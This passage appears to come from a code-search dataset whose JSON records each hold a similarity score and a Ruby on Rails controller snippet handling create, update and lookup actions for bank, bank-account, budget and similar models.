(crud_notice('updated', @bank) + \"#{undo_link(@bank)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd3c4cfb63ea038ccaa334e8a3ef7664", "score": "0.6018218", "text": "def update\n if @bank_account.update(bank_account_params)\n render :show, status: :ok\n else\n render json: @bank_account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dab3e9404d51657349cf1a1f26174cce", "score": "0.59896237", "text": "def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43845f5b79c9ef4718c51282258104f8", "score": "0.59396327", "text": "def set_bank\n @bank = Bank.find_by(code: params[:bank_code])\n end", "title": "" }, { "docid": "5c4fa8d7577bd63298237f9261cbc593", "score": "0.5886761", "text": "def create\n @bank = Bank.new(bank_params)\n\n if @bank.save\n render :show, status: :created, location: @bank\n else\n render json: @bank.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "fdac7d7eff5e99d04605abee443f3326", "score": "0.5880169", "text": "def seed_banks\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/banks.json'))\n\tdata.each do |d|\n\t\tBank.create!(d)\n\tend\nend", "title": "" }, { "docid": "7a7359445dfeac88996723422412c8d9", "score": "0.58746463", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "9d7646d0a9ca53fe70cecbb87f0832d4", "score": "0.5860967", "text": "def update\n respond_to do |format|\n if @bank_detail.update(bank_detail_params)\n format.html { redirect_to @bank_detail, notice: 'Bank detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_detail }\n else\n format.html { render :edit }\n format.json { render json: @bank_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74ce1d64e0f3661b248883c5970bc76f", "score": "0.5844326", "text": "def update\n @brain = Brain.find(params[:id])\n\n respond_to do |format|\n if @brain.update_attributes(params[:brain])\n format.html { redirect_to @brain, notice: 'Brain was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brain.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a6393241cc5fb5c44d13fab2033708f", "score": "0.5843663", "text": "def update\n respond_to do |format|\n if @bank_account.update(bank_account_params)\n format.html { redirect_to @bank_account, notice: 'Bank account was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_account }\n else\n format.html { render :edit }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a6393241cc5fb5c44d13fab2033708f", "score": "0.5843663", "text": "def update\n respond_to do |format|\n if @bank_account.update(bank_account_params)\n format.html { redirect_to @bank_account, notice: 'Bank account was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_account }\n else\n format.html { render :edit }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93f843bd83fcdc8ea31a0b14a39852f8", "score": "0.5834946", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "93f843bd83fcdc8ea31a0b14a39852f8", "score": "0.5834946", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "93f843bd83fcdc8ea31a0b14a39852f8", "score": "0.5834946", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "93f843bd83fcdc8ea31a0b14a39852f8", "score": "0.5834946", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "93f843bd83fcdc8ea31a0b14a39852f8", "score": "0.5834946", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "52fe7f2718ab70424d7382baa9f300d8", "score": "0.58282787", "text": "def update\n respond_to do |format|\n if @brave_burst.update(brave_burst_params)\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d363cfafd620528eaacc6e1d28bca8f3", "score": "0.5827047", "text": "def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4fb79d8269eb41a50caea9fbe16ff46a", "score": "0.58236593", "text": "def set_bank\n @bank = Bank.find_by(code: params[:code])\n end", "title": "" }, { "docid": "fed93736a6afe79deaedfd8f2c37e5d0", "score": "0.5808208", "text": "def set_banksm\n @banksm = Banksm.find(params[:id])\n end", "title": "" }, { "docid": "150b9ebd07c49d628009bb47a41d0ba2", "score": "0.5798445", "text": "def create\n @title = t('view.banks.new_title')\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: t('view.banks.correctly_created') }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: 'new' }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38bf2775c6ff17305c789af44c30ddc0", "score": "0.57967067", "text": "def update\n @bill = Bill.find_by(uid:params[:id]).extend(Billit::BillRepresenter)\n @bill.from_json(request.body.read)\n @bill.save\n begin\n Sunspot.index!(@bill)\n rescue\n puts \"#{$!}\"\n puts \"unindexed bill: \" + @bill.uid\n end\n respond_with @bill, :represent_with => Billit::BillRepresenter\n end", "title": "" }, { "docid": "fd9a1a1d31c4f8d260de113b2957bbc1", "score": "0.57931286", "text": "def update\n @image_bank = ImageBank.find(params[:id])\n \n respond_to do |format|\n if @image_bank.update_attributes(params[:image_bank])\n format.html { redirect_to @image_bank, notice: 'Image bank was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73594ca3711b51ce61366e73230b6b68", "score": "0.57927096", "text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render json: @bank, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5144af10625bb727c58e11956bfd6a5e", "score": "0.5755148", "text": "def set_battery_bank\n @battery_bank = BatteryBank.find(params[:id])\n end", "title": "" }, { "docid": "e9cc2a3ff6b0d14aba903c78dd8d9d17", "score": "0.57514894", "text": "def update\n if @bill.update(bill_params)\n render json: { bill: @bill }, status: :ok\n else\n render json: { errors: @bill.errors, status: 501 }\n end\n end", "title": "" }, { "docid": "2ef279e0b2f14f38b4ef6c7a883e8991", "score": "0.5748953", "text": "def update\n respond_to do |format|\n if @bank_register.update(bank_register_params)\n format.html { redirect_to @bank_register, notice: 'Bank register was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_register }\n else\n format.html { render :edit }\n format.json { render json: @bank_register.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6903c5096b4c45bf1da0f69a9f2c06e", "score": "0.57274914", "text": "def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44dbc9bf4eb2b9ba200d151b7d8f462d", "score": "0.57226884", "text": "def update\n @bank = Bank.find(params[:id])\n\n @bank.assign_attributes(params[:bank])\n\n add_missing_translation_content(@bank.bank_translations)\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to admin_banks_path, notice: t('app.msgs.success_updated', :obj => t('activerecord.models.bank')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd9d857b5152179b9341a0dc3fd0a076", "score": "0.5709125", "text": "def set_codebank\n @codebank = Codebank.find(params[:id])\n end", "title": "" }, { "docid": "da2ecce223887af61af6dba74f8fd81f", "score": "0.5703584", "text": "def update\n respond_to do |format|\n if @banket.update(banket_params)\n format.html { redirect_to @banket, notice: 'Banket was successfully updated.' }\n format.json { render :show, status: :ok, location: @banket }\n else\n format.html { render :edit }\n format.json { render json: @banket.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0bf89acd02e12da9c151a602198e135e", "score": "0.570005", "text": "def set_stack_bank\n @stack_bank = StackBank.find(params[:id])\n end", "title": "" }, { "docid": "2cd6f14572817d8a74198bc908de3cda", "score": "0.56933063", "text": "def update\n respond_to do |format|\n if @battery_bank.update(battery_bank_params)\n format.html { redirect_to @battery_bank, notice: 'Battery bank was successfully updated.' }\n format.json { render :show, status: :ok, location: @battery_bank }\n else\n format.html { render :edit }\n format.json { render json: @battery_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "79143e8218d7f436e4ef98e5a92bfda0", "score": "0.56917393", "text": "def update\n @branch = Branch.friendly.find(params[:id])\n respond_to do |format|\n if @branch.update(branch_params)\n format.html { redirect_to @branch, notice: 'Branch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c33318009f0636e250f72fed64acd3c6", "score": "0.5674564", "text": "def update\n # @bill_quorum = BillQuorum.find(params[:id])\n\n respond_to do |format|\n if @bill_quorum.update_attributes(params[:bill_quorum])\n format.html { redirect_to @bill_quorum, notice: 'Bill Quorum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_quorum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "031bc91010f46c6f2a60f4ee0afc38dd", "score": "0.56728315", "text": "def update\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n if @blast.update_attributes(params[:blast])\n format.html { redirect_to blasts_path, notice: 'Blast was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blast.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30da94e41d8ee5f186582dfb86d28f27", "score": "0.5671011", "text": "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "3fab51ce31e5f0de23ce6425fa066b08", "score": "0.5651434", "text": "def set_bank_account\n @bank_account = BankAccount.find(params[:id])\n end", "title": "" }, { "docid": "784f83e5552904ebd2ba84ae70286af0", "score": "0.5646557", "text": "def set_bankm\n @bankm = Bankm.find(params[:id])\n end", "title": "" }, { "docid": "6821eb80ec82be53cbaadb9939b347fa", "score": "0.56449074", "text": "def update\n @barrack = Barrack.find(params[:id])\n\n respond_to do |format|\n if @barrack.update_attributes(params[:barrack])\n format.html { redirect_to @barrack, notice: 'Barrack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @barrack.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bce2a56ea949c4099ca3fe55b5165a3", "score": "0.5634713", "text": "def show\n render json: @bank\n end", "title": "" }, { "docid": "df95abeb7c4e7652c35b7a748d488ec9", "score": "0.56309754", "text": "def create\n @bank = Bank.new(bank_params)\n @bank.user_created_id = current_user.id\n respond_to do |format|\n if @bank.save\n format.html { redirect_to banks_path, notice: I18n.t('banks.controller.create') }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "418489bbe5635d959497fb39b8dec64c", "score": "0.5630174", "text": "def set_bankaccount\n @user = User.find(params[:user_id])\n @bankaccount = @user.bankaccounts.find(params[:id])\n end", "title": "" }, { "docid": "a8955e10b71911b702dbf72905ceb5f5", "score": "0.56266266", "text": "def create\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eead600fd11b9d2477bd69f8fcc2bf1b", "score": "0.562174", "text": "def update\n @questionbank = Questionbank.find(params[:id])\n\n respond_to do |format|\n if @questionbank.update_attributes(params[:questionbank])\n format.html { redirect_to @questionbank, notice: 'Questionbank was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionbank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9baff218a5c654f06077fea33c7b7865", "score": "0.5605236", "text": "def bank_params\n params.require(:bank).permit(:code, :name, :name_kana, :name_hira, :name_en)\n end", "title": "" }, { "docid": "8e4f5ee31eeef6f2244bb8630855924d", "score": "0.5602429", "text": "def update\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n if @bloom.update_attributes(params[:bloom])\n format.html { redirect_to @bloom, notice: 'Bloom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aaa8d00643dc0bd61363d547aa171145", "score": "0.5600038", "text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aaa8d00643dc0bd61363d547aa171145", "score": "0.5600038", "text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "daceaed297249df8fd1f223fe658da17", "score": "0.559919", "text": "def update\n respond_to do |format|\n if @bank_transaction.update(bank_transaction_params)\n format.html { redirect_to @bank_transaction, notice: 'BankTransaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_transaction }\n else\n format.html { render :edit }\n format.json { render json: @bank_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b82209a2caa6221a5ad40d2c430fc05", "score": "0.5597455", "text": "def update\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n if @bcard.update_attributes(params[:bcard])\n format.html { redirect_to @bcard, notice: 'Bcard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bcard.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d944cd6fc389dd13592c2102b18a4fd", "score": "0.5589642", "text": "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5afb1139fda4f96d1c9d98198fd3d2ab", "score": "0.558912", "text": "def update\n @bizcard = Bizcard.find(params[:id])\n\n respond_to do |format|\n if @bizcard.update_attributes(params[:bizcard])\n format.html { redirect_to @bizcard, notice: 'Bizcard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bizcard.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ce063e79f9b7c981b6c26ab5bfc0175", "score": "0.5586288", "text": "def update\n if @bird.update(bird_params)\n render json: @bird, status: :ok, location: @bird\n else\n render json: @bird.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "18ecbd50e0adb753d015976eb22614ea", "score": "0.55857337", "text": "def update\n respond_to do |format|\n if @abucket.update_attributes(params[:abucket])\n flash[:notice] = 'Bucket was successfully updated.'\n format.html { redirect_to(account_abuckets_path(@account)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @abucket.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a544fc97b3c8d07637b90711e6fc034", "score": "0.55846876", "text": "def bank_params\n params.require(:bank).permit(:bankname, :branchname, :bankcodee, :branchcode, :swiftcode, :address, :bankcode, :branchcode)\n end", "title": "" }, { "docid": "22c8d6d898666b02a363805d266f8cb9", "score": "0.5583409", "text": "def bank_params\n params.require(:bank).permit(:name, :acc, :status, :holder_name)\n end", "title": "" }, { "docid": "0c829e78190ae81f7d3223ea18caa261", "score": "0.55820227", "text": "def update\n\t\t@bank = Bank.find(params[:id])\n\t\t@bank.modified_by = 1\n\n\t\tif @bank.update_attributes(params[:bank])\n\t\t\tflash[:notice] = 'Bank Updated Sucessfully.'\n\t\t\tredirect_to :action => 'show', :id => @bank\n\t\telse\n\t\t\trender :action => 'edit'\n\t\tend \n\tend", "title": "" }, { "docid": "856fdc374eb4bc9608476faded9f2e69", "score": "0.55796933", "text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n # format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "657e3a94563cf846e29814b140ad3a3c", "score": "0.55787617", "text": "def update\n @band = Band.find(params[:id])\n\t@band.update_attributes(params[:band])\n respond_with @band\n end", "title": "" }, { "docid": "01f3592d25ea0cfa0f2996f0c20de7cd", "score": "0.5566079", "text": "def update\n respond_to do |format|\n if @bucket.update(bucket_params)\n format.html { redirect_to buckets_path, notice: 'Bucket was successfully updated.' }\n format.json { render :show, status: :ok, location: @pin }\n else\n format.html { render :edit, status: :unprocessable_entity}\n format.json { render json: @bucket.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48f06d41e339fe57be92f01c2d11f5d0", "score": "0.55614567", "text": "def set_bank_detail\n @bank_detail = BankDetail.find(params[:id])\n end", "title": "" }, { "docid": "842f69c795d9efd15546dcdc1d9399c8", "score": "0.5559948", "text": "def update\n @customer = Customer.find_by(id: params[:id])\n _c_params = customer_params\n if customer_params[:bank_id].blank? and bank_params[:bankname].present?\n @bank = Bank.new(bank_params)\n @bank.save\n @customer.bank_id = @bank.id\n _c_params[:bank_id] = @bank.id\n end\n\n respond_to do |format|\n if @customer.update(_c_params)\n format.html { redirect_to @customer, notice: 'Customer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d0bf2c0f4f27265b023eb7dfe4e8e89", "score": "0.55595005", "text": "def bank_params\n params.require(:bank).permit(:name, :alias)\n end", "title": "" }, { "docid": "1d45fdcb9257e6ed297ef03311691791", "score": "0.55593115", "text": "def update\n if @bank_account.update(bank_account_params)\n @obj = {\n id: @bank_account.id,\n account_number: @bank_account.account_number,\n account_type: @bank_account.account_type,\n bank: @bank_account.bank,\n statu_id: @bank_account.statu_id,\n user_id: @bank_account.user_id,\n active: @bank_account.active,\n approved: @bank_account.approved,\n certificate: @bank_account.certificate.attached? ? url_for(@bank_account.certificate) : nil,\n created_at: @bank_account.created_at,\n updated_at: @bank_account.updated_at\n }\n render json: @obj, status: :ok, location: @bank_account\n else\n render json: @bank_account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "08efc87589086768a8caa31d673b5bb7", "score": "0.55531275", "text": "def update\n respond_to do |format|\n if @bread.update(bread_params)\n format.html { redirect_to @bread, notice: 'パン情報を編集した.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aec6c067f1e2604cf2e21e0430f94a06", "score": "0.55509156", "text": "def update\n @bank_account_operation = BankAccountOperation.find(params[:id])\n\n respond_to do |format|\n if @bank_account_operation.update_attributes(params[:bank_account_operation])\n format.html { redirect_to @bank_account_operation, notice: 'Bank account operation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bank_account_operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "875e0b059d4c8fb3a8735a1158d2dfd6", "score": "0.55467033", "text": "def update\n respond_to do |format|\n if @boost.update(boost_params)\n format.html { redirect_to @boost, notice: 'Boost was successfully updated.' }\n format.json { render :show, status: :ok, location: @boost }\n else\n format.html { render :edit }\n format.json { render json: @boost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "065ceceeb647eac18f054aadca6cbe6b", "score": "0.55430627", "text": "def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end", "title": "" }, { "docid": "22cad154a209467b723712caa0921ecf", "score": "0.55381787", "text": "def set_bank_register\n @bank_register = BankRegister.find(params[:id])\n end", "title": "" }, { "docid": "202d07bec4f3ff4fd3b63d1300edef82", "score": "0.5532008", "text": "def update\n respond_to do |format|\n if @stationary_batteries_battery_bank.update(stationary_batteries_battery_bank_params)\n format.html { redirect_to @stationary_batteries_battery_bank, notice: 'Stationary batteries battery bank was successfully updated.' }\n format.json { render :show, status: :ok, location: @stationary_batteries_battery_bank }\n else\n format.html { render :edit }\n format.json { render json: @stationary_batteries_battery_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1293e6d1ff2a0094721850b941cc351a", "score": "0.5529801", "text": "def update\n @bank_card = BankCard.find(params[:id])\n\n respond_to do |format|\n if @bank_card.update_attributes(params[:bank_card])\n format.html { redirect_to(@bank_card) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\", message: \"成功更新银行卡!\"}'}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bank_card.errors, :status => :unprocessable_entity }\n format.json { render :text => \"{status: 'failed', error:#{@bank_card.errors.full_messages.to_json}}\"}\n end\n end\n end", "title": "" }, { "docid": "472d63649fdd601fc7c58fc5c844a260", "score": "0.55157894", "text": "def update\n respond_to do |format|\n if @bank_account.update(bank_account_params)\n format.html {\n begin\n if @bank_account.own_id\n @bank_account_sync = @bank_account.sync\n if @bank_account_sync\n @status_message = I18n.t('bank-account-sync-sucessfully')\n else\n @status_message = I18n.t('bank-account-sync-issue')\n end\n else\n @bank_account_register = @bank_account.register\n if @bank_account_register\n @status_message = I18n.t('bank-account-register-sucessfully')\n else\n @status_message = I18n.t('bank-account-register-issue')\n end\n end\n rescue ArgumentError => e\n puts 'Missing id error'\n puts e.inspect\n @status_message = I18n.t('bank-account-sync-error-no-id')\n rescue => e\n puts 'bank account sync error'\n puts e.inspect\n @status_message = I18n.t('bank-account-sync-error')\n end\n redirect_to :back, notice: @status_message || t('bank-account-updated')\n }\n format.json { render :show, status: :ok, location: @bank_account }\n else\n format.html {\n flash[:errors] = @bank_account.errors\n redirect_to :back, notice: t('bank-account-updated-fail')\n }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc67ec6df7638f8f04b64fed15609d0a", "score": "0.5510923", "text": "def update\n respond_to do |format|\n if @bank_agence.update(bank_agence_params)\n format.html { redirect_to @bank_agence, notice: 'Bank agence was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_agence }\n else\n format.html { render :edit }\n format.json { render json: @bank_agence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5289da3c0265865183180f3bbc0c970", "score": "0.5504625", "text": "def update\n respond_to do |format|\n if @sales_bank_account.update(sales_bank_account_params)\n format.html { redirect_to @sales_bank_account, notice: \"Bank account was successfully updated.\" }\n format.json { render :show, status: :ok, location: @sales_bank_account }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @sales_bank_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd9096825c955e0e9d207bdec528ef7e", "score": "0.55034554", "text": "def show\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "c87cda9d6df2400d4d357d9210ca01ea", "score": "0.5498129", "text": "def update\n authorize_action_for @codebank\n respond_to do |format|\n if @codebank.update(codebank_params)\n format.html { redirect_to @codebank, notice: 'Codebank was successfully updated.' }\n format.json { render :show, status: :ok, location: @codebank }\n else\n format.html { render :edit }\n format.json { render json: @codebank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0bcfe24ce2ff90a39755bddd577cbc5b", "score": "0.5497358", "text": "def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "58388aa62fcb27d79381ab77f385b33c", "score": "0.5496344", "text": "def update\n respond_to do |format|\n if @personal_bank.update(personal_bank_params)\n format.html { redirect_to @personal_bank, notice: 'Personal bank was successfully updated.' }\n format.json { render :show, status: :ok, location: @personal_bank }\n else\n format.html { render :edit }\n format.json { render json: @personal_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82d313f35cd937fca1ab90f51223642f", "score": "0.5493767", "text": "def destroy\n @bank = Bank.find(params[:id])\n @bank.destroy\n\n respond_to do |format|\n format.html { redirect_to banks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "39fa38e0d4ccde163ebb6d5413a4a724", "score": "0.5492224", "text": "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "title": "" }, { "docid": "22ccd6516b486cae636f21f5ca697142", "score": "0.548978", "text": "def update\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n if @climb.update_attributes(params[:climb])\n format.html { redirect_to @climb, notice: 'Climb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @climb.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a046ec2d3c972eb8c68897f3af23e3a2", "score": "0.5486772", "text": "def update\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n if @kb.update_attributes(params[:kb])\n format.html { redirect_to @kb, :notice => 'Kb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa53761e977a7e70ea752d9e2568d69d", "score": "0.548494", "text": "def update\n @admin_accounting_bank_account = Admin::AccountingBankAccount.find(params[:id])\n\n respond_to do |format|\n if @admin_accounting_bank_account.update_attributes(params[:admin_accounting_bank_account])\n format.html { redirect_to admin_accounting_bank_accounts_url }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_accounting_bank_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21ad94660eab32790661951f5eebe733", "score": "0.5477825", "text": "def update\n respond_to do |format|\n if @bark.update(bark_params)\n format.html { redirect_to @bark, notice: \"Bark was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bark }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bark.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82982c74bddf03f3dfed62e449608daf", "score": "0.54663587", "text": "def update\n @brand_owner = BrandOwner.find(params[:id])\n\n respond_to do |format|\n if @brand_owner.update_attributes(params[:brand_owner])\n format.html { redirect_to @brand_owner, notice: 'Brand owner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brand_owner.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d82ff7cf1bd9d2ec1c830756bc2f97af", "score": "0.5466062", "text": "def show\n @title = t('view.banks.show_title')\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "e06d1b231b5b6f93bb3ed7d3f6f8f3e7", "score": "0.5463939", "text": "def update\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n if @slab.update_attributes(params[:slab])\n format.html { redirect_to @slab, :notice => 'Slab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slab.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 